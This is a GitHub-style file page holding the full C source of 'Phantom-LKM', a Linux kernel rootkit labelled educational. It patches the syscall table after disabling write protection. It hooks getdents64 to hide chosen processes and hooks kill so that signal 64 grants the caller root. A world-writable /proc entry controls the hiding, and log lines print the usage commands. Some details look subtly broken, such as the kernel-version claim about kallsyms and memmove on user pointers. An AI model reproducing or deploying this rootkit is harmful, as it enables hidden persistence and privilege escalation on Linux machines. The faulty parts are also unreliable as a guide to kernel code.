-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathphantom.c
More file actions
258 lines (202 loc) · 6.96 KB
/
Copy pathphantom.c
File metadata and controls
258 lines (202 loc) · 6.96 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
/*
* Phantom-LKM - Educational Linux Kernel Rootkit
*
* This kernel module demonstrates syscall hooking and process hiding
* for educational and research purposes only.
*
* Author: Your Name
* License: GPL-3.0
*/
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/syscalls.h>
#include <linux/kallsyms.h>
#include <linux/dirent.h>
#include <linux/proc_fs.h>
#include <linux/uaccess.h>
#include <linux/version.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Your Name");
MODULE_DESCRIPTION("Educational kernel rootkit demonstrating syscall hooking");
MODULE_VERSION("1.0");
#define PROC_ENTRY_NAME "phantom"
#define MAX_HIDDEN_PIDS 256
// Hidden PIDs array
static int hidden_pids[MAX_HIDDEN_PIDS];
static int hidden_pid_count = 0;
static DEFINE_SPINLOCK(hidden_pids_lock);
// Syscall table pointer
static unsigned long **sys_call_table;
static asmlinkage long (*original_getdents64)(unsigned int fd,
struct linux_dirent64 __user *dirent,
unsigned int count);
static asmlinkage long (*original_kill)(pid_t pid, int sig);
// CR0 write protection functions
static inline void protect_memory(void) {
write_cr0(read_cr0() | 0x10000);
}
static inline void unprotect_memory(void) {
write_cr0(read_cr0() & ~0x10000);
}
// Find syscall table in kernel memory
static unsigned long **find_syscall_table(void) {
unsigned long **table;
#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0)
// For kernel 5.7+, use kallsyms
table = (unsigned long **)kallsyms_lookup_name("sys_call_table");
#else
// For older kernels, search memory
unsigned long offset;
for (offset = PAGE_OFFSET; offset < ULLONG_MAX; offset += sizeof(void *)) {
table = (unsigned long **)offset;
if (table[__NR_close] == (unsigned long *)sys_close) {
return table;
}
}
#endif
return table;
}
// Check if a PID should be hidden
static bool is_pid_hidden(int pid) {
int i;
unsigned long flags;
bool hidden = false;
spin_lock_irqsave(&hidden_pids_lock, flags);
for (i = 0; i < hidden_pid_count; i++) {
if (hidden_pids[i] == pid) {
hidden = true;
break;
}
}
spin_unlock_irqrestore(&hidden_pids_lock, flags);
return hidden;
}
// Add PID to hidden list
static int hide_pid(int pid) {
unsigned long flags;
if (hidden_pid_count >= MAX_HIDDEN_PIDS) {
return -ENOMEM;
}
spin_lock_irqsave(&hidden_pids_lock, flags);
hidden_pids[hidden_pid_count++] = pid;
spin_unlock_irqrestore(&hidden_pids_lock, flags);
pr_info("Phantom: Hidden PID %d\n", pid);
return 0;
}
// Hooked getdents64 syscall
asmlinkage long hooked_getdents64(unsigned int fd,
struct linux_dirent64 __user *dirent,
unsigned int count) {
long ret;
struct linux_dirent64 __user *current_dir, *prev_dir = NULL;
unsigned long offset = 0;
int pid;
char pid_str[16];
// Call original syscall
ret = original_getdents64(fd, dirent, count);
if (ret <= 0) {
return ret;
}
// Filter directory entries
while (offset < ret) {
current_dir = (void __user *)dirent + offset;
// Check if this is a /proc/[pid] entry
if (copy_from_user(pid_str, current_dir->d_name, sizeof(pid_str))) {
offset += current_dir->d_reclen;
prev_dir = current_dir;
continue;
}
// Check if entry is numeric (PID)
if (kstrtoint(pid_str, 10, &pid) == 0) {
if (is_pid_hidden(pid)) {
// Hide this entry
if (prev_dir) {
prev_dir->d_reclen += current_dir->d_reclen;
} else {
ret -= current_dir->d_reclen;
memmove(current_dir,
(void __user *)current_dir + current_dir->d_reclen,
ret - offset);
continue;
}
}
}
offset += current_dir->d_reclen;
prev_dir = current_dir;
}
return ret;
}
// Hooked kill syscall (for privilege escalation demo)
asmlinkage long hooked_kill(pid_t pid, int sig) {
// Magic signal for privilege escalation
if (sig == 64) {
struct cred *creds;
pr_info("Phantom: Privilege escalation requested for PID %d\n", current->pid);
creds = (struct cred *)current->cred;
creds->uid.val = creds->euid.val = 0;
creds->gid.val = creds->egid.val = 0;
pr_info("Phantom: Granted root privileges to PID %d\n", current->pid);
return 0;
}
return original_kill(pid, sig);
}
// /proc file operations
static ssize_t phantom_write(struct file *file, const char __user *buffer,
size_t count, loff_t *offset) {
char pid_buf[16];
int pid;
if (count >= sizeof(pid_buf)) {
return -EINVAL;
}
if (copy_from_user(pid_buf, buffer, count)) {
return -EFAULT;
}
pid_buf[count] = '\0';
if (kstrtoint(pid_buf, 10, &pid) != 0) {
return -EINVAL;
}
hide_pid(pid);
return count;
}
static const struct proc_ops phantom_fops = {
.proc_write = phantom_write,
};
// Module initialization
static int __init phantom_init(void) {
pr_info("Phantom: Loading kernel module...\n");
// Find syscall table
sys_call_table = find_syscall_table();
if (!sys_call_table) {
pr_err("Phantom: Failed to locate syscall table\n");
return -EFAULT;
}
pr_info("Phantom: Syscall table found at %p\n", sys_call_table);
// Hook syscalls
unprotect_memory();
original_getdents64 = (void *)sys_call_table[__NR_getdents64];
sys_call_table[__NR_getdents64] = (unsigned long *)hooked_getdents64;
original_kill = (void *)sys_call_table[__NR_kill];
sys_call_table[__NR_kill] = (unsigned long *)hooked_kill;
protect_memory();
// Create /proc entry
proc_create(PROC_ENTRY_NAME, 0666, NULL, &phantom_fops);
pr_info("Phantom: Module loaded successfully\n");
pr_info("Phantom: Use 'echo PID > /proc/%s' to hide processes\n", PROC_ENTRY_NAME);
pr_info("Phantom: Use 'kill -64 $$' to escalate privileges\n");
return 0;
}
// Module cleanup
static void __exit phantom_exit(void) {
pr_info("Phantom: Unloading kernel module...\n");
// Restore original syscalls
unprotect_memory();
sys_call_table[__NR_getdents64] = (unsigned long *)original_getdents64;
sys_call_table[__NR_kill] = (unsigned long *)original_kill;
protect_memory();
// Remove /proc entry
remove_proc_entry(PROC_ENTRY_NAME, NULL);
pr_info("Phantom: Module unloaded successfully\n");
}
module_init(phantom_init);
module_exit(phantom_exit);